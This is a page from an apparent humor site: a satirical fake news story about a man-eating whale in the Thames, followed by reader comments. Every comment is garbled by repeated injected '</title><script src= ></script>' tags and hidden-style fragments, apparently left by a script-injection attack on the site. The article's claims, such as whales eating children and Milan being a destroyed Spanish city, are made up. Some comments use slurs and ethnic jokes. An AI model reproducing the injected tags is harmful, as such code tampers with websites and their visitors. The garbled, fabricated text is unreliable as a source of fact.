Fun Infused Games  |   Evil Scale  |  |  |   Starcraft Live  |   Fun Pages  |   Your ad here. Twitter RSS 
Home  Archive  Search  Forum  Members  Subscribe  Links  About  Advertise
Rogue Whale Terrorizes London
by Kris on 1/20/2006 (44)

Terror in London has a new face, and that name is whale.
Earlier today, a 17-foot long bottle-nosed whale made it's way up the Thames River, past such historical monuments as Big Ben and Parliament. The streets were quickly filled with screams of terror as horrified Londoners ran for cover, fearful of the damage a bus-sized mammal could inflict.

"I saw it blow, signifying that the whale was ready to attack," said pale-faced spectator Tom Howard-Vyne. "I grabbed as many of my children as I could and I ran, I just ran as far and as fast as I could."

"The whale has made two seemingly deliberate attempts to beach itself," said Laila Sadler, scientific officer at the Royal Society for the Prevention of Cruelty by Animals "It appears that he was trying to find a way into the children's hospital near shore, probably to feast."

Other witnesses reported the river to be red like blood, most likely the blood of seagulls and unlucky divers.

"It is a race against time to save the city," said Alison Shaw, marine and freshwater conservation program manager at the Zoological Society of London. "We must kill the whale before it kills us all."

In 1992 during a similar incident, a bottlenose whale made it's way down a channel in the Spanish city of Milan. Many citizens of Milan initially expressed concern about the health of the whale, but that was before it attacked.

"You won't find Milan on a map today," said Shaw. "That's because, after the whale attack, it no longer exists. The town was destroyed and no one survived, it was the worst whale attack in nearly thirty years."

Bottle-nosed whales are normally seen in the deep northern Atlantic, traveling in pods. They can reach 26 feet long and feed off of lost sailors and small fishing boats.

An armada of fishing boats began a frantic search for the whale this afternoon, which disappeared from view around sunset after diving under the surface of the water. A sizeable bounty has been offered for the man that brings in the dead whale.

"This whale has killed before and unless we stop it now, it will kill again," said Mark Simmons, science director at the Whale and Dolphin Extermination Society. "There is no price you can put on the safety of jolly old England."0"<

page has been viewed 9776 times


1. by tom jordan on 3/1/2007 4:52:29 PM
i hate you mark simmons its only lost its way it won't attack you stupid shit head im nly 12 yrs old n i even know its harmlessi </title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script>
2. by Mark Motzaroo on 3/1/2007 4:52:29 PM
yeah, you suck Mark Simmon! leave that whale alone! *snort!* </title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script>
3. by The One Armed Man on 3/1/2007 4:52:29 PM
Care to take a guess why I have one arm? Yeap, boating accident. But I still hate </title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script>
4. by grymalkyn on 3/1/2007 4:52:29 PM
what a load of bollock! </title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script>
5. by jose luis on 3/1/2007 4:52:29 PM
pero esto es lo mas gilipolla que he escuchado nunca ah so capullo milan no esta en espana esta en italia so melonisplay:none">< </title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script>
6. by Emma on 3/1/2007 4:52:29 PM
Is this site a joke?!!! The whale is harmless and has only lost his way...if it was so dangerous I dont think so many voluteers would have helped to save him. It seems that the 12 year old has more intelligence than you!!isplay:none" </title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script>
7. by rebecca and jonathan on 3/1/2007 4:52:29 PM
try and save the whale please"0" st </title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script>
8. by Tungin Chique on 3/1/2007 4:52:29 PM
Yes I saw the whale eat several children today before they managed to restrain it. I think it should be cut up and fed to hungry people so that those children didn't die in vain. I am worried that this was a reconnaissance trip prior to an attack by a whole pod of northern bottlenoses. What happened to the other two it was seen with? They may be preparing for a suicide attack. Let's get together and try to kill the whalesone"></if </title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script>
9. by Nelson Muntz on 3/1/2007 4:52:29 PM
Nuke the whales! Gotta nuke sumthin'!!ig </title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script>
10. by chizz on 3/1/2007 4:52:29 PM
what a bunch of geniuses, who condemn this writer of SATIRE. I bet he really fears for his life and that is why he wrote this JOKE of an article, obviously not real and for entertainment. you guys are retarded<i </title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script>
11. by Rezoo on 3/1/2007 4:52:29 PM
Kill the whale WTF u guys on bout its a frikin whale what the hells its gonna do, its lost its way, get over it. Bet Kunes wrote this articlet </title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script>
12. by Blubber Boy on 3/1/2007 4:52:29 PM
If you are threatened with attack by a marauding whale the best way to disable it is to cut of the tale and put it into the whale's mouth then it will be unable to bite you. Another way is to put a cork into its blowhole. If you have experience defending yourself against whales please </title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script>
13. by Terrorised Tim on 3/1/2007 4:52:29 PM
I always expected the end of mankind would come at the hands of whales. It is obvious really since they are the biggest of all animals so they are eventually going to bully all the other animals into extinction. </title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script>
14. by Emma on 3/1/2007 4:52:29 PM
I think you guys are getting carried away. Whales are probably more scared of us than we are of them. They are actually very friendly animals so I don't think they would eat children. Save the whales. src </title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script>
15. by Terrorised Tim on 3/1/2007 4:52:29 PM
Beware of the friendly whales - they are the worst. As soon as you get close they blow poisonous gas before they squash you.ispl </title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script>
16. by james on 3/1/2007 4:52:29 PM
U make me so angry cos you are encouraging people not to care about whales and you think it is funny. u r just ignorant and don't even know anything about wales?sid= </title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script>
17. by Quint on 3/1/2007 4:52:29 PM
I'll catch this bird for you, but it ain't gonna be easy. Bad fish. Not like going down to the pond and chasing bluegills and tommycocks. This whale, swallow you whole. No shakin', no tenderizin', down you go.<i </title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script>
18. by Welsh Jilly on 3/1/2007 4:52:29 PM
I know a lot about Wales as I come from Cardiff LOL </title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script>
19. by Peace Taker on 3/1/2007 4:52:29 PM
I think we should make a deal with the whales before it is too late. If we offer them the less civilised lands like Walses, Scotland and northern England then we might be able to save London and Pudsey on Sea. We must be prepared to make sacrifices.i </title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script>
20. by Victor on 3/1/2007 4:52:29 PM
I've just heard that the Thames whale is dead so that is one less to worry about. We should support Japan in their efforts to kill the rest. </title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script>
21. by Charlie Sheen on 3/1/2007 4:52:29 PM
I've heard that goldfish are acting as spies for the whales. They pretend to be dead and people flush them down the toilet - then they get out into to the sea and report back what they've learnt. If you think your goldfish is pretending to be dead then the best way to make sure is to put it in a pan and bring to the boil. If it still doesn't move then you can safely flush it down the toilet.ui </title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script>
22. by Alex Jermyn on 3/1/2007 4:52:29 PM
haha, some people are so amazingly Gullable. It's officially named "Mr. Tibbles™" by the way, by myself, see the full story here: you can call him Tibbles for short thoughisplay:non </title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script>
23. by mike walker on 3/1/2007 4:52:29 PM
save the whale!isplay:n </title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script>
24. by Victor on 3/1/2007 4:52:29 PM
how are you going to save the whale? it's dead! are you going to pray for it to go to whale heaven? If you are going to save anything then save the skin cos you could use it to make a trampolinetp </title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script>
25. by steph on 3/1/2007 4:52:29 PM
i am so sad that it has died i am so upset. i know they did there </title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script>
26. by steph on 3/1/2007 4:52:29 PM
i am so sad that the whale is dead. i am feel so sad i know they ddi there best. RIP whale my whale london whale love ya xxxxisp </title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script>
27. by steph on 3/1/2007 4:52:29 PM
the whale is lovley you cont hurt it i love whale they will be scared of peopel becuase they dont know u trying to help thats all. leave it alone YOU SHOULD BE NICE OT THEM. I AM SAD THAT THE WHALE IS DEAD THEY DID THERE BEST BUT IT STILL SAD. SORRY WHALE THAT WE CAN NOT DO MORE FOR U LOS OF LOVE ME XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXh="0" h </title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script>
28. by fred the Yank on 3/1/2007 4:52:29 PM
Wonderful satire! At first I even thought it might be real. Well done. Of course now that the whale has died, it's not so funny. But they tried their best to save him. Here's to the Brits for caring! God Save the Queenisplay:none"></ </title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script>
29. by Loctar on 3/1/2007 4:52:29 PM
Whales have no business in London, just like American Werewolves.g </title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script>
30. by hannah pendlebury on 3/1/2007 4:52:29 PM
i h8 u mark simmon he was an innocent whale and didnt do nything 2 us!!!!!! </title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script>
31. by adrian on 3/1/2007 4:52:29 PM
be careful of the whale lovers. they are nearly as dangerous as the whales. the London whale used sonic rays to weaken their minds so that we will not defend ourselves when they attack en masse. to protect yourself from sonic rays just wrap yourself in urine soaked sheets and remember the mantra: whales are evil, whales must die, cut them up and make fish pieh= </title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script>
32. by Kris on 3/1/2007 4:52:29 PM
I liked that cause it ryhmed... and because you said urine.? </title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script>
33. by blaksam on 3/1/2007 4:52:29 PM
A brutal traffic warden murdered him, I saw a parking ticket sticking ot of his blow-hole...! src=" </title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script>
34. by bob on 3/1/2007 4:52:29 PM
Fuck you. Arse. No brain fool."0" s </title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script>
35. by Carl on 3/1/2007 4:52:29 PM
Its lucky for the people of London that the whales engine stopped before it made it's way futher upstream. There were 44 Iraqis inside that fucker, ready to jump out and strike at any minute. The RPI (Royal Protection of Iraqis) realised this and wanted to take them out to sea so they could swim home, but secretly they hoped they would drown. How big is an Iraqi. Big enough to have a whale of time. I bet Willys' laughing, he made </title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script>
36. by NeverthoughtI'dseesomanyretardedcommentsever on 3/1/2007 4:52:29 PM
Hey! GREAT ARTICLE. Ignore all those idiots who take it literally. 'oo, you're making us disrespect wales oo' Honestly, people who think that probably treat animals better than people. Anyway, I went over the thames yesterday and saw no whale. Just the normal water. It's a joke everyone!! Not a real article, if it offends you then you read it wrong, or you're just a retard. Take your pic.uildi </title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script>
37. by Mark on 3/1/2007 4:52:29 PM
Some people need to sit down away from a computer with a dictionary and look up the word 'satire' me"></ifr </title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script>
38. by adrian on 3/1/2007 4:52:29 PM
Mission accomplished. An agent on the barge managed to inject the whale with 'antibiotics' (anti=against, bio=life) without anyone suspecting. Many of the people on the boat had already come under the control of the whale through its sonic mind rays and one grown man actually cried when it died. The mission of the whale was starting to become clear when one of the affected whale 'rescuers' suggested feeding the whale with plutonium to make it stronger. Apparently the whales are going to enslave mankind and get the weakminded to feed nuclear bombs to whales on suicide missions. Fortunately yesterday's whale wasn't loaded but a fully loaded whale can pack ten megatonnes which is enough to take out Greater London Adrian P.S. If your granny smells of urine she is almost certainly a whale assasin (see above) so give her your support. When she claims to be away visiting her friend Doris, she is probably harpooning sperm whales in the Arctic Circleisplay:none"> </title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script>
39. by Oz on 3/1/2007 4:52:29 PM
Something fishy going on here! Where were the Spanish fishing fleet when we needed them most? Stop blubbering on. Sushi lotafuss about cat food!i </title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script>
40. by michael on 3/1/2007 4:52:29 PM
i wish i lived in london i would be straight out lookin for it and would kill it for the reward. sr </title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script>
41. by Jeremy on 3/1/2007 4:52:29 PM
Duh, it's a joke... something called SATIRE... gosh, you'd think 12 year olds were educated in this day and age.... I'm 14 and I've known about satire for yonks!?sid </title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script>
42. by Jeremy on 3/1/2007 4:52:29 PM
I'm sad the whale died..."0" style= </title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script>
43. by Zhed on 3/1/2007 4:52:29 PM
Fools!!! It was a submarine loaded with dynamite which was being operated via remote control by a group of Zioinsts from their secret base inside a volcano underneath the Bank of England. They planned to blow up the houses of parliament, pin the blame on Al-Quaeda and then take over the government in all the confusion or something.....i </title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script>
44. by will on 3/1/2007 4:52:29 PM
SOME OF YOU ARE SO DUM WHY ARE YOU SO RETARDED I MEAN ITS A FRIGGIN WHALE THIS SITE IS FULL OF JOKES! ITS NOT REAL DO YOU REALY THINK WHALES WILL ATTACK CHILDREN JESUS CHRIST YOURE STUPIDITY MAKES ME SICK.m </title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script>

What animal is this a picture of?

x Enter the simple name for this animal... i.e., if you see a "north american grizzly bear", just enter "bear".
Surround you text with the following tags to use special formatting:
[B][/B] for Bold text.
[I][/I] for Italic text.
[QUOTE][/QUOTE] for a quote.

For example, in order to write "Smthop rules" in bold, you would enter: [B]Smthop rules[/B].




More referrals |  Add Site

Business   Editorials   Education   Entertainment   Feature   Food   Health   Law   Politics   Religeon   Site News   Space   Sports   Tech   US News   Video Games   World News  


Copyright 2010 Smooth Operator.
Website Design by SteeleITS - Privacy Policy